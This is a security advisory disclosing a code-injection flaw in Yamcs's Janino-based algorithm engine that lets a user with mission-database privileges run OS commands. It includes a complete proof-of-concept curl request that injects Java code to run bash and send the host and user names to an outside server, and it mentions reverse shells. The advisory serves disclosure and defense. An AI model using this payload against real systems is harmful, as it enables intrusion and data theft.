Yamcs Vulnerable to Server-Side Code Injection (RCE) via Janino Expression Engine in `JavaExprAlgorithmExecutionFactory`

Summary

A Server-Side Code Injection vulnerability exists in the Yamcs algorithm evaluation engine (org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory). The application dynamically compiles and evaluates user-controlled algorithm text without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this to achieve Remote Code Execution (RCE) on the underlying host operating system via the Janino compiler.

Proof of

Concept (PoC) The vulnerability can be exploited by overriding an existing algorithm's text via the REST API and injecting a malicious Java payload that executes OS commands.

Prerequisites: 1. A running Yamcs instance with an active processor (e.g., instance=myproject, processor=realtime). 2. An active authentication token for a user with the SystemPrivilege.ChangeMissionDatabase privilege.

Steps to Reproduce:

1. Send an authenticated HTTP PATCH request to the MDB override endpoint to inject the malicious Java code into an existing algorithm (e.g., copySunsensor). The payload uses java.lang.Runtime to execute a reverse shell or ping an external webhook.

curl -i -X PATCH \
  'http://:8090/api/mdb/myproject/realtime/algorithms/myproject/copySunsensor' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \
  -d '{
    "action": "SET",
    "algorithm": {
      "text": "try { java.lang.Runtime.getRuntime().exec(new String[]{\"bash\", \"-c\", \"curl https:///$(hostname)_$(whoami)\"}); } catch (Exception e) {} out0.setFloatValue(1.0f);"
    }
  }'

1. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the simulator.py script to generate sun sensor data).
2. The Yamcs server uses the Janino SimpleCompiler to compile the injected text into a Java class on the fly. Since no restrictive ClassLoader is applied, the payload is successfully compiled and executed.
3. Verify that the command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.

Impact

This vulnerability allows a user with application-level configuration privileges to escalate their access to full System/OS control. This leads to arbitrary command execution, potential data exfiltration, and lateral movement within the network hosting the Yamcs server.

Credits

Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.